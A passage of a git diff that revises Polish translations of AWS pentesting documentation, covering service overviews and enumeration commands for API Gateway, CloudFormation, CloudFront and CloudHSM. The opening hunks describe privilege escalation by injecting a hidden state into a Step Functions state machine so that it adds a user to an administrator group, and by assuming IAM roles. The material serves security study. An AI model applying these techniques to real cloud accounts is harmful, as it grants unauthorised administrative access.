**`iam:PassRole`** nie byłoby wymagane do eskalacji uprawnień, ponieważ nie byłoby konieczne aktualizowanie roli IAM, wystarczy definicja maszyny stanów. +2. **Niepermissywna rola IAM**: W przeciwieństwie do poprzedniego przypadku, tutaj atakujący również wymagałby uprawnienia **`iam:PassRole`**, ponieważ konieczne byłoby powiązanie permissywnej roli IAM z maszyną stanów oprócz modyfikacji definicji maszyny stanów. ```bash aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` -Przykłady poniżej pokazują, jak zaktualizować legitną maszynę stanów, która po prostu wywołuje funkcję Lambda HelloWorld, aby dodać dodatkowy stan, który dodaje użytkownika **`unprivilegedUser`** do grupy IAM **`administrator`**. W ten sposób, gdy legitny użytkownik rozpocznie wykonanie zaktualizowanej maszyny stanów, ten nowy złośliwy stan ukryty zostanie wykonany, a eskalacja uprawnień zakończy się sukcesem. +Przykłady poniżej pokazują, jak zaktualizować legitną maszynę stanów, która wywołuje funkcję Lambda HelloWorld, aby dodać dodatkowy stan, który dodaje użytkownika **`unprivilegedUser`** do grupy IAM **`administrator`**. W ten sposób, gdy legalny użytkownik rozpocznie wykonanie zaktualizowanej maszyny stanów, ten nowy złośliwy stan stealth zostanie wykonany, a eskalacja uprawnień zakończy się sukcesem. > [!WARNING] -> Jeśli maszyna stanów nie ma przypisanego permissywnego roli IAM, wymagane będzie również uprawnienie **`iam:PassRole`** do zaktualizowania roli IAM w celu przypisania permissywnej roli IAM (na przykład jednej z dołączoną polityką **`arn:aws:iam::aws:policy/AdministratorAccess`**). +> Jeśli maszyna stanów nie ma przypisanego permissywnego roli IAM, wymagane będzie również uprawnienie **`iam:PassRole`** do zaktualizowania roli IAM w celu przypisania permissywnej roli IAM (na przykład jednej z polityką **`arn:aws:iam::aws:policy/AdministratorAccess`** dołączoną). {{#tabs }} {{#tab name="Legit State Machine" }} @@ -181,7 +181,7 @@ Przykłady poniżej pokazują, jak zaktualizować legitną maszynę stanów, kt ``` {{#endtab }} -{{#tab name="Złośliwa Zaktualizowana Maszyna Stanów" }} +{{#tab name="Złośliwa zaktualizowana maszyna stanów" }} ```json { "Comment": "Hello world from Lambda state machine", diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md index 0d23d8e93..1e1cd73af 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md @@ -23,15 +23,15 @@ Na przykład, poniższa polityka zaufania roli wskazuje, że każdy może ją pr ] } ``` -Możesz udawać rolę, wykonując: +Możesz udawać rolę, uruchamiając: ```bash aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname ``` **Potencjalny wpływ:** Privesc do roli. > [!OSTRZEŻENIE] -> Zauważ, że w tym przypadku uprawnienie `sts:AssumeRole` musi być **określone w roli do nadużycia** a nie w polityce należącej do atakującego.\ -> Z jednym wyjątkiem, aby **przyjąć rolę z innego konta** konto atakującego **również musi** mieć **`sts:AssumeRole`** nad rolą. +> Zauważ, że w tym przypadku uprawnienie `sts:AssumeRole` musi być **wskazane w roli do nadużycia** a nie w polityce należącej do atakującego.\ +> Z jednym wyjątkiem, aby **przyjąć rolę z innego konta** konto atakującego **musi również** mieć **`sts:AssumeRole`** nad rolą. ### **`sts:GetFederationToken`** @@ -90,7 +90,7 @@ onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 -- ### `sts:AssumeRoleWithWebIdentity` -To uprawnienie przyznaje pozwolenie na uzyskanie zestawu tymczasowych poświadczeń bezpieczeństwa dla **użytkowników, którzy zostali uwierzytelnieni w aplikacji mobilnej, aplikacji webowej, EKS...** z dostawcą tożsamości webowej. [Dowiedz się więcej tutaj.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) +To uprawnienie przyznaje pozwolenie na uzyskanie zestawu tymczasowych poświadczeń bezpieczeństwa dla **użytkowników, którzy zostali uwierzytelnieni w aplikacji mobilnej, webowej, EKS...** z dostawcą tożsamości webowej. [Dowiedz się więcej tutaj.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) Na przykład, jeśli **konto usługi EKS** powinno być w stanie **udawać rolę IAM**, będzie miało token w **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** i może **przyjąć rolę i uzyskać poświadczenia** wykonując coś takiego: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index 59087fda8..aab0be8db 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ -10,8 +10,8 @@ Usługi, które mieszczą się w kategorii usług kontenerowych, mają następuj - Usługa sama w sobie działa na **oddzielnych instancjach infrastruktury**, takich jak EC2. - **AWS** jest odpowiedzialne za **zarządzanie systemem operacyjnym i platformą**. -- Usługa zarządzana jest dostarczana przez AWS, która zazwyczaj jest samą usługą dla **rzeczywistej aplikacji, która jest postrzegana jako kontener**. -- Jako użytkownik tych usług kontenerowych masz szereg obowiązków związanych z zarządzaniem i bezpieczeństwem, w tym **zarządzanie bezpieczeństwem dostępu do sieci, takimi jak zasady listy kontroli dostępu do sieci i wszelkie zapory**. +- Usługa zarządzana jest dostarczana przez AWS, która zazwyczaj jest samą usługą dla **rzeczywistej aplikacji, która jest postrzegana jako kontenery**. +- Jako użytkownik tych usług kontenerowych masz szereg odpowiedzialności związanych z zarządzaniem i bezpieczeństwem, w tym **zarządzanie bezpieczeństwem dostępu do sieci, takimi jak zasady listy kontroli dostępu do sieci i wszelkie zapory**. - Ponadto, zarządzanie tożsamością i dostępem na poziomie platformy, gdzie to istnieje. - **Przykłady** usług kontenerowych AWS to Relational Database Service, Elastic Mapreduce i Elastic Beanstalk. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md index 53a103108..5a73f5d07 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md @@ -8,13 +8,13 @@ AWS API Gateway to kompleksowa usługa oferowana przez Amazon Web Services (AWS), zaprojektowana dla programistów do **tworzenia, publikowania i nadzorowania API na dużą skalę**. Działa jako punkt wejścia do aplikacji, pozwalając programistom na ustanowienie ram zasad i procedur. Ta struktura reguluje dostęp zewnętrznych użytkowników do określonych danych lub funkcjonalności w aplikacji. -API Gateway umożliwia zdefiniowanie **jak żądania do twoich API powinny być obsługiwane**, a także może tworzyć niestandardowe punkty końcowe API z określonymi metodami (np. GET, POST, PUT, DELETE) i zasobami. Może również generować zestawy SDK (Software Development Kits) dla klientów, aby ułatwić programistom wywoływanie twoich API z ich aplikacji. +API Gateway umożliwia zdefiniowanie **jak żądania do twoich API powinny być obsługiwane**, i może tworzyć niestandardowe punkty końcowe API z określonymi metodami (np. GET, POST, PUT, DELETE) i zasobami. Może również generować zestawy SDK (Software Development Kits) dla klientów, aby ułatwić programistom wywoływanie twoich API z ich aplikacji. ### Typy bramek API - **HTTP API**: Twórz niskolatencyjne i opłacalne REST API z wbudowanymi funkcjami takimi jak OIDC i OAuth2 oraz natywnym wsparciem CORS. Działa z następującymi: Lambda, HTTP backends. -- **WebSocket API**: Twórz API WebSocket z użyciem stałych połączeń do zastosowań w czasie rzeczywistym, takich jak aplikacje czatu lub pulpity nawigacyjne. Działa z następującymi: Lambda, HTTP, AWS Services. -- **REST API**: Rozwijaj REST API, w którym masz pełną kontrolę nad żądaniem i odpowiedzią oraz możliwościami zarządzania API. Działa z następującymi: Lambda, HTTP, AWS Services. +- **WebSocket API**: Twórz API WebSocket z użyciem stałych połączeń do zastosowań w czasie rzeczywistym, takich jak aplikacje czatowe lub pulpity nawigacyjne. Działa z następującymi: Lambda, HTTP, AWS Services. +- **REST API**: Rozwijaj REST API, w którym zyskujesz pełną kontrolę nad żądaniem i odpowiedzią oraz możliwościami zarządzania API. Działa z następującymi: Lambda, HTTP, AWS Services. - **REST API Prywatne**: Twórz REST API, które jest dostępne tylko z wewnątrz VPC. ### Główne komponenty API Gateway @@ -22,18 +22,18 @@ API Gateway umożliwia zdefiniowanie **jak żądania do twoich API powinny być 1. **Zasoby**: W API Gateway zasoby to komponenty, które **tworzą strukturę twojego API**. Reprezentują **różne ścieżki lub punkty końcowe** twojego API i odpowiadają różnym akcjom, które twoje API obsługuje. Zasobem jest każda metoda (np. GET, POST, PUT, DELETE) **w każdej ścieżce** (/, lub /users, lub /user/{id}). 2. **Etapy**: Etapy w API Gateway reprezentują **różne wersje lub środowiska** twojego API, takie jak rozwój, testowanie lub produkcja. Możesz używać etapów do zarządzania i wdrażania **wielu wersji twojego API jednocześnie**, co pozwala na testowanie nowych funkcji lub poprawek błędów bez wpływu na środowisko produkcyjne. Etapy również **obsługują zmienne etapu**, które są parami klucz-wartość, które mogą być używane do konfigurowania zachowania twojego API w zależności od aktualnego etapu. Na przykład, możesz użyć zmiennych etapu do kierowania żądań API do różnych funkcji Lambda lub innych usług backendowych w zależności od etapu. - Etap jest wskazywany na początku URL punktu końcowego API Gateway. -3. **Autoryzatory**: Autoryzatory w API Gateway są odpowiedzialne za **kontrolowanie dostępu do twojego API** poprzez weryfikację tożsamości wywołującego przed pozwoleniem na kontynuację żądania. Możesz używać **funkcji AWS Lambda** jako niestandardowych autoryzatorów, co pozwala na wdrożenie własnej logiki uwierzytelniania i autoryzacji. Gdy przychodzi żądanie, API Gateway przekazuje token autoryzacji żądania do autoryzatora Lambda, który przetwarza token i zwraca politykę IAM, która określa, jakie działania wywołujący może wykonać. API Gateway obsługuje również **wbudowane autoryzatory**, takie jak **AWS Identity and Access Management (IAM)** i **Amazon Cognito**. +3. **Autoryzatory**: Autoryzatory w API Gateway są odpowiedzialne za **kontrolowanie dostępu do twojego API** poprzez weryfikację tożsamości wywołującego przed pozwoleniem na kontynuację żądania. Możesz używać **funkcji AWS Lambda** jako niestandardowych autoryzatorów, co pozwala na wdrożenie własnej logiki uwierzytelniania i autoryzacji. Gdy żądanie przychodzi, API Gateway przekazuje token autoryzacji żądania do autoryzatora Lambda, który przetwarza token i zwraca politykę IAM, która określa, jakie działania wywołujący może wykonać. API Gateway obsługuje również **wbudowane autoryzatory**, takie jak **AWS Identity and Access Management (IAM)** i **Amazon Cognito**. 4. **Polityka zasobów**: Polityka zasobów w API Gateway to dokument JSON, który **definiuje uprawnienia do dostępu do twojego API**. Jest podobna do polityki IAM, ale specjalnie dostosowana do API Gateway. Możesz użyć polityki zasobów, aby kontrolować, kto może uzyskać dostęp do twojego API, które metody mogą wywoływać i z jakich adresów IP lub VPC mogą się łączyć. **Polityki zasobów mogą być używane w połączeniu z autoryzatorami**, aby zapewnić szczegółową kontrolę dostępu do twojego API. - Aby wprowadzić zmiany, API musi być **ponownie wdrożone po** modyfikacji polityki zasobów. ### Logowanie -Domyślnie **CloudWatch Logs** są **wyłączone**, **logowanie dostępu** jest **wyłączone**, a **śledzenie X-Ray** jest również **wyłączone**. +Domyślnie **CloudWatch Logs** są **wyłączone**, **logowanie dostępu** jest **wyłączone**, a **śledzenie X-Ray** również jest **wyłączone**. ### Enumeracja > [!TIP] -> Zauważ, że w obu API AWS do enumeracji zasobów (**`apigateway`** i **`apigatewayv2`**) jedynym uprawnieniem, którego potrzebujesz i jedynym uprawnieniem do odczytu, które można przyznać, jest **`apigateway:GET`**, dzięki czemu możesz **enumerować wszystko.** +> Zauważ, że w obu API AWS do enumeracji zasobów (**`apigateway`** i **`apigatewayv2`**) jedynym uprawnieniem, którego potrzebujesz i jedynym przyznawanym uprawnieniem do odczytu jest **`apigateway:GET`**, dzięki czemu możesz **enumerować wszystko.** {{#tabs }} {{#tab name="apigateway" }} @@ -141,7 +141,7 @@ Możliwe jest ustawienie, że metody w obrębie ścieżki (zasobu) wymagają uwi Gdy to jest ustawione, otrzymasz błąd `{"message":"Missing Authentication Token"}` gdy spróbujesz uzyskać dostęp do punktu końcowego bez jakiejkolwiek autoryzacji. -Jednym ze sposobów na wygenerowanie oczekiwanego tokena przez aplikację jest użycie **curl**. +Jednym z łatwych sposobów na wygenerowanie oczekiwanego tokena przez aplikację jest użycie **curl**. ```bash $ curl -X https://.execute-api..amazonaws.com// --user : --aws-sigv4 "aws:amz::execute-api" ``` @@ -157,7 +157,7 @@ AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/ ``` Zauważ, że w innych przypadkach **Authorizer** mógł być **źle zakodowany** i wysłanie **czegokolwiek** w **nagłówku Authorization** **pozwoli zobaczyć ukrytą zawartość**. -### Podpisywanie żądań przy użyciu Pythona +### Podpisywanie żądań za pomocą Pythona ```python pip install requests diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 410df63f9..84a205211 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -4,7 +4,7 @@ ## CloudFormation -AWS CloudFormation to usługa zaprojektowana w celu **usprawnienia zarządzania zasobami AWS**. Umożliwia użytkownikom skupienie się bardziej na ich aplikacjach działających w AWS, **minimalizując czas poświęcony na zarządzanie zasobami**. Kluczową cechą tej usługi jest **szablon**—opisowy model pożądanych zasobów AWS. Po dostarczeniu tego szablonu, CloudFormation jest odpowiedzialny za **provisioning i konfigurację** określonych zasobów. Ta automatyzacja ułatwia bardziej efektywne i bezbłędne zarządzanie infrastrukturą AWS. +AWS CloudFormation to usługa zaprojektowana w celu **usprawnienia zarządzania zasobami AWS**. Umożliwia użytkownikom skupienie się bardziej na ich aplikacjach działających w AWS, **minimalizując czas poświęcony na zarządzanie zasobami**. Główna cecha tej usługi to **szablon**—opisowy model pożądanych zasobów AWS. Po dostarczeniu tego szablonu, CloudFormation jest odpowiedzialny za **provisioning i konfigurację** określonych zasobów. Ta automatyzacja ułatwia bardziej efektywne i bezbłędne zarządzanie infrastrukturą AWS. ### Enumeration ```bash @@ -58,7 +58,7 @@ aws codestar describe-user-profile --user-arn ``` ### Privesc -Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień codestar, aby eskalować przywileje**: +Na poniższej stronie możesz sprawdzić, jak **nadużyć uprawnień codestar, aby eskalować uprawnienia**: {{#ref}} ../aws-privilege-escalation/aws-codestar-privesc/ diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md index 131f7fce0..4619caea5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md @@ -4,9 +4,9 @@ ## CloudFront -CloudFront to **sieć dostarczania treści AWS, która przyspiesza dystrybucję** Twojej statycznej i dynamicznej zawartości poprzez swoją światową sieć lokalizacji brzegowych. Gdy korzystasz z treści, którą hostujesz za pośrednictwem Amazon CloudFront, żądanie jest kierowane do najbliższej lokalizacji brzegowej, co zapewnia najniższą latencję, aby dostarczyć najlepszą wydajność. Gdy **dzienniki dostępu CloudFront** są włączone, możesz rejestrować żądania od każdego użytkownika żądającego dostępu do Twojej witryny i dystrybucji. Podobnie jak w przypadku dzienników dostępu S3, te dzienniki są również **przechowywane na Amazon S3 dla trwałego i persistentnego przechowywania**. Nie ma opłat za włączenie samego logowania, jednakże, ponieważ dzienniki są przechowywane w S3, będziesz obciążony za przechowywanie używane przez S3. +CloudFront to **sieć dostarczania treści AWS, która przyspiesza dystrybucję** Twojej statycznej i dynamicznej zawartości poprzez swoją światową sieć lokalizacji brzegowych. Gdy korzystasz z treści, którą hostujesz za pośrednictwem Amazon CloudFront, żądanie jest kierowane do najbliższej lokalizacji brzegowej, co zapewnia najniższą latencję, aby dostarczyć najlepszą wydajność. Gdy **dzienniki dostępu CloudFront** są włączone, możesz rejestrować żądania od każdego użytkownika żądającego dostępu do Twojej witryny i dystrybucji. Podobnie jak w przypadku dzienników dostępu S3, te dzienniki są również **przechowywane na Amazon S3 dla trwałego i stałego przechowywania**. Nie ma opłat za włączenie samego logowania, jednak ponieważ dzienniki są przechowywane w S3, będziesz obciążony za używaną przestrzeń dyskową S3. -Pliki dzienników rejestrują dane przez pewien czas, a w zależności od liczby żądań, które są odbierane przez Amazon CloudFront dla tej dystrybucji, zależy to od liczby generowanych plików dzienników. Ważne jest, aby wiedzieć, że te pliki dzienników nie są tworzone ani zapisywane na S3. S3 to po prostu miejsce, do którego są dostarczane, gdy plik dziennika jest pełny. **Amazon CloudFront przechowuje te dzienniki, aż będą gotowe do dostarczenia do S3**. Ponownie, w zależności od rozmiaru tych plików dzienników, ta dostawa może zająć **od jednej do 24 godzin**. +Pliki dzienników rejestrują dane przez pewien czas, a w zależności od liczby żądań otrzymywanych przez Amazon CloudFront dla tej dystrybucji, zależy to od liczby generowanych plików dzienników. Ważne jest, aby wiedzieć, że te pliki dzienników nie są tworzone ani zapisywane na S3. S3 to po prostu miejsce, do którego są dostarczane, gdy plik dziennika jest pełny. **Amazon CloudFront przechowuje te dzienniki, aż będą gotowe do dostarczenia do S3**. Ponownie, w zależności od rozmiaru tych plików dzienników, dostarczenie to może zająć **od jednej do 24 godzin**. **Domyślnie logowanie ciasteczek jest wyłączone**, ale możesz je włączyć. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md index 69163512a..0690f0d72 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md @@ -4,31 +4,31 @@ ## HSM - Hardware Security Module -Cloud HSM to walidowane na poziomie FIPS 140 dwa **urządzenie sprzętowe** do bezpiecznego przechowywania kluczy kryptograficznych (zauważ, że CloudHSM to urządzenie sprzętowe, a nie usługa wirtualizowana). Jest to urządzenie SafeNetLuna 7000 z wstępnie załadowanym oprogramowaniem 5.3.13. Istnieją dwie wersje oprogramowania układowego, a wybór zależy od Twoich dokładnych potrzeb. Jedna jest zgodna z FIPS 140-2, a druga to nowsza wersja, która może być używana. +Cloud HSM to zweryfikowane urządzenie **sprzętowe** na poziomie FIPS 140, przeznaczone do bezpiecznego przechowywania kluczy kryptograficznych (zauważ, że CloudHSM to urządzenie sprzętowe, a nie usługa wirtualizowana). Jest to urządzenie SafeNetLuna 7000 z wstępnie załadowanym oprogramowaniem 5.3.13. Istnieją dwie wersje oprogramowania układowego, a wybór zależy od Twoich dokładnych potrzeb. Jedna jest przeznaczona do zgodności z FIPS 140-2, a druga to nowsza wersja, która może być używana. -Niezwykłą cechą CloudHSM jest to, że jest to fizyczne urządzenie, a zatem **nie jest dzielone z innymi klientami**, lub jak to się powszechnie określa, multi-tenant. Jest to dedykowane urządzenie dla jednego najemcy, które jest dostępne wyłącznie dla Twoich obciążeń. +Niezwykłą cechą CloudHSM jest to, że jest to fizyczne urządzenie, a zatem **nie jest dzielone z innymi klientami**, lub jak to się powszechnie określa, jest wielo-najemcze. Jest to dedykowane urządzenie dla jednego najemcy, dostępne wyłącznie dla Twoich obciążeń. Zazwyczaj urządzenie jest dostępne w ciągu 15 minut, zakładając, że jest dostępna pojemność, ale w niektórych strefach może nie być. -Ponieważ jest to fizyczne urządzenie dedykowane dla Ciebie, **klucze są przechowywane na urządzeniu**. Klucze muszą być **replikowane na inne urządzenie**, archiwizowane w offline storage lub eksportowane do urządzenia zapasowego. **To urządzenie nie jest wspierane** przez S3 ani żadną inną usługę w AWS, taką jak KMS. +Ponieważ jest to fizyczne urządzenie dedykowane dla Ciebie, **klucze są przechowywane na urządzeniu**. Klucze muszą być **replikowane na inne urządzenie**, archiwizowane w offline lub eksportowane do urządzenia zapasowego. **To urządzenie nie jest wspierane** przez S3 ani żadną inną usługę w AWS, taką jak KMS. W **CloudHSM** musisz **samodzielnie skalować usługę**. Musisz przydzielić wystarczającą liczbę urządzeń CloudHSM, aby obsłużyć Twoje potrzeby związane z szyfrowaniem, w oparciu o algorytmy szyfrowania, które wybrałeś do wdrożenia w swoim rozwiązaniu.\ -Skalowanie usługi zarządzania kluczami jest realizowane przez AWS i automatycznie skaluje się na żądanie, więc w miarę wzrostu Twojego użycia, może wzrosnąć również liczba wymaganych urządzeń CloudHSM. Pamiętaj o tym, gdy skalujesz swoje rozwiązanie, a jeśli Twoje rozwiązanie ma automatyczne skalowanie, upewnij się, że maksymalna skala jest uwzględniona z wystarczającą liczbą urządzeń CloudHSM, aby obsłużyć rozwiązanie. +Skalowanie usługi zarządzania kluczami jest realizowane przez AWS i automatycznie dostosowuje się na żądanie, więc w miarę wzrostu Twojego użycia, może wzrosnąć również liczba wymaganych urządzeń CloudHSM. Pamiętaj o tym, gdy skalujesz swoje rozwiązanie, a jeśli Twoje rozwiązanie ma automatyczne skalowanie, upewnij się, że maksymalna skala jest uwzględniona z wystarczającą liczbą urządzeń CloudHSM, aby obsłużyć rozwiązanie. -Podobnie jak w przypadku skalowania, **wydajność zależy od Ciebie w CloudHSM**. Wydajność różni się w zależności od używanego algorytmu szyfrowania oraz od tego, jak często musisz uzyskiwać dostęp lub pobierać klucze do szyfrowania danych. Wydajność usługi zarządzania kluczami jest obsługiwana przez Amazon i automatycznie skaluje się w miarę potrzeb. Wydajność CloudHSM osiąga się poprzez dodawanie większej liczby urządzeń, a jeśli potrzebujesz większej wydajności, dodajesz urządzenia lub zmieniasz metodę szyfrowania na algorytm, który jest szybszy. +Podobnie jak w przypadku skalowania, **wydajność zależy od Ciebie w CloudHSM**. Wydajność różni się w zależności od używanego algorytmu szyfrowania oraz od tego, jak często musisz uzyskiwać dostęp do kluczy lub je pobierać, aby zaszyfrować dane. Wydajność usługi zarządzania kluczami jest obsługiwana przez Amazon i automatycznie dostosowuje się w miarę potrzeb. Wydajność CloudHSM osiąga się poprzez dodawanie większej liczby urządzeń, a jeśli potrzebujesz większej wydajności, dodajesz urządzenia lub zmieniasz metodę szyfrowania na algorytm, który jest szybszy. -Jeśli Twoje rozwiązanie jest **multi-region**, powinieneś dodać kilka **urządzeń CloudHSM w drugim regionie i ustalić łączność międzyregionową za pomocą prywatnego połączenia VPN** lub jakiejś metody, aby zapewnić, że ruch jest zawsze chroniony między urządzeniem na każdym poziomie połączenia. Jeśli masz rozwiązanie multi-region, musisz pomyśleć o tym, jak **replikować klucze i skonfigurować dodatkowe urządzenia CloudHSM w regionach, w których działasz**. Możesz bardzo szybko znaleźć się w sytuacji, w której masz sześć lub osiem urządzeń rozproszonych w wielu regionach, co umożliwia pełną redundancję Twoich kluczy szyfrowania. +Jeśli Twoje rozwiązanie jest **wieloregionowe**, powinieneś dodać kilka **urządzeń CloudHSM w drugim regionie i ustalić łączność międzyregionową za pomocą prywatnego połączenia VPN** lub jakiejś metody, aby zapewnić, że ruch jest zawsze chroniony na każdym poziomie połączenia. Jeśli masz rozwiązanie wieloregionowe, musisz pomyśleć o tym, jak **replikować klucze i skonfigurować dodatkowe urządzenia CloudHSM w regionach, w których działasz**. Możesz bardzo szybko znaleźć się w sytuacji, w której masz sześć lub osiem urządzeń rozproszonych w wielu regionach, co umożliwia pełną redundancję Twoich kluczy szyfrowania. -**CloudHSM** to usługa klasy enterprise do zabezpieczonego przechowywania kluczy i może być używana jako **root of trust dla przedsiębiorstwa**. Może przechowywać klucze prywatne w PKI i klucze autorytetu certyfikacji w implementacjach X509. Oprócz kluczy symetrycznych używanych w algorytmach symetrycznych, takich jak AES, **KMS przechowuje i fizycznie chroni tylko klucze symetryczne (nie może działać jako autorytet certyfikacji)**, więc jeśli musisz przechowywać klucze PKI i CA, jeden lub dwa lub trzy CloudHSM mogą być Twoim rozwiązaniem. +**CloudHSM** to usługa klasy enterprise do zabezpieczonego przechowywania kluczy i może być używana jako **punkt zaufania dla przedsiębiorstwa**. Może przechowywać klucze prywatne w PKI i klucze autorytetów certyfikacyjnych w implementacjach X509. Oprócz kluczy symetrycznych używanych w algorytmach symetrycznych, takich jak AES, **KMS przechowuje i fizycznie chroni tylko klucze symetryczne (nie może działać jako autorytet certyfikacyjny)**, więc jeśli musisz przechowywać klucze PKI i CA, jedno lub dwa lub trzy CloudHSM mogą być Twoim rozwiązaniem. -**CloudHSM jest znacznie droższy niż usługa zarządzania kluczami**. CloudHSM to urządzenie sprzętowe, więc masz stałe koszty związane z przydzieleniem urządzenia CloudHSM, a następnie koszt godzinowy za uruchomienie urządzenia. Koszt jest mnożony przez liczbę wymaganych urządzeń CloudHSM, aby osiągnąć Twoje specyficzne wymagania.\ -Dodatkowo, należy uwzględnić koszty zakupu oprogramowania firm trzecich, takich jak zestawy oprogramowania SafeNet ProtectV oraz czas i wysiłek związany z integracją. Usługa zarządzania kluczami jest oparta na użyciu i zależy od liczby kluczy, które posiadasz, oraz operacji wejścia i wyjścia. Ponieważ zarządzanie kluczami zapewnia bezproblemową integrację z wieloma usługami AWS, koszty integracji powinny być znacznie niższe. Koszty powinny być traktowane jako czynnik drugorzędny w rozwiązaniach szyfrowania. Szyfrowanie jest zazwyczaj używane dla bezpieczeństwa i zgodności. +**CloudHSM jest znacznie droższy niż usługa zarządzania kluczami**. CloudHSM to urządzenie sprzętowe, więc masz stałe koszty związane z przydzieleniem urządzenia CloudHSM, a następnie koszt godzinowy za uruchomienie urządzenia. Koszt jest mnożony przez liczbę urządzeń CloudHSM, które są wymagane do spełnienia Twoich specyficznych wymagań.\ +Dodatkowo, należy uwzględnić koszty zakupu oprogramowania firm trzecich, takich jak zestawy oprogramowania SafeNet ProtectV oraz czas i wysiłek związany z integracją. Usługa zarządzania kluczami jest oparta na użyciu i zależy od liczby kluczy, które posiadasz, oraz operacji wejścia i wyjścia. Ponieważ zarządzanie kluczami zapewnia bezproblemową integrację z wieloma usługami AWS, koszty integracji powinny być znacznie niższe. Koszty powinny być traktowane jako czynnik drugorzędny w rozwiązaniach szyfrowania. Szyfrowanie jest zazwyczaj używane w celach bezpieczeństwa i zgodności. **Tylko Ty masz dostęp do kluczy w CloudHSM** i nie wchodząc w zbyt wiele szczegółów, w CloudHSM zarządzasz swoimi własnymi kluczami. **W KMS Ty i Amazon współzarządzacie swoimi kluczami**. AWS ma wiele zabezpieczeń politycznych przeciwko nadużyciom i **nadal nie może uzyskać dostępu do Twoich kluczy w żadnym z rozwiązań**. Główna różnica dotyczy zgodności w odniesieniu do własności i zarządzania kluczami, a w CloudHSM jest to urządzenie sprzętowe, którym zarządzasz i które utrzymujesz z wyłącznym dostępem tylko dla Ciebie. ### CloudHSM Suggestions -1. Zawsze wdrażaj CloudHSM w **konfiguracji HA** z co najmniej dwoma urządzeniami w **oddzielnych strefach dostępności**, a jeśli to możliwe, wdroż trzeci, albo lokalnie, albo w innym regionie w AWS. +1. Zawsze wdrażaj CloudHSM w **konfiguracji HA** z co najmniej dwoma urządzeniami w **oddzielnych strefach dostępności**, a jeśli to możliwe, wdroż trzeci, albo lokalnie, albo w innym regionie AWS. 2. Bądź ostrożny podczas **inicjalizacji** **CloudHSM**. Ta akcja **zniszczy klucze**, więc albo miej inną kopię kluczy, albo bądź absolutnie pewny, że ich nie potrzebujesz i nigdy, przenigdy nie będziesz potrzebować tych kluczy do odszyfrowania jakichkolwiek danych. 3. CloudHSM obsługuje tylko **określone wersje oprogramowania układowego** i oprogramowania. Przed wykonaniem jakiejkolwiek aktualizacji upewnij się, że oprogramowanie układowe i/lub oprogramowanie jest obsługiwane przez AWS. Zawsze możesz skontaktować się z pomocą techniczną AWS, aby zweryfikować, czy przewodnik aktualizacji jest niejasny. 4. **Konfiguracja sieciowa nigdy nie powinna być zmieniana.** Pamiętaj, że znajduje się w centrum danych AWS, a AWS monitoruje podstawowy sprzęt za Ciebie. Oznacza to, że jeśli sprzęt zawiedzie, wymienią go za Ciebie, ale tylko jeśli wiedzą, że zawiódł. @@ -52,13 +52,13 @@ Sposób działania HSM może się różnić w zależności od konkretnego modelu 2. **Przechowywanie kluczy**: Klucz jest **bezpiecznie przechowywany w HSM, gdzie może być dostępny tylko dla autoryzowanych użytkowników lub procesów**. 3. **Zarządzanie kluczami**: HSM zapewnia szereg funkcji zarządzania kluczami, w tym rotację kluczy, kopie zapasowe i unieważnianie. 4. **Operacje kryptograficzne**: HSM wykonuje szereg operacji kryptograficznych, w tym szyfrowanie, deszyfrowanie, podpis cyfrowy i wymianę kluczy. Operacje te są **wykonywane w bezpiecznym środowisku HSM**, co chroni przed nieautoryzowanym dostępem i manipulacją. -5. **Rejestrowanie audytów**: HSM rejestruje wszystkie operacje kryptograficzne i próby dostępu, które mogą być używane do celów audytu zgodności i bezpieczeństwa. +5. **Rejestrowanie audytów**: HSM rejestruje wszystkie operacje kryptograficzne i próby dostępu, które mogą być używane do celów zgodności i audytu bezpieczeństwa. -HSM mogą być używane w szerokim zakresie zastosowań, w tym w bezpiecznych transakcjach online, certyfikatach cyfrowych, bezpiecznej komunikacji i szyfrowaniu danych. Często są używane w branżach, które wymagają wysokiego poziomu bezpieczeństwa, takich jak finanse, opieka zdrowotna i rząd. +HSM mogą być używane w szerokim zakresie zastosowań, w tym w bezpiecznych transakcjach online, certyfikatach cyfrowych, bezpiecznych komunikacjach i szyfrowaniu danych. Często są stosowane w branżach, które wymagają wysokiego poziomu 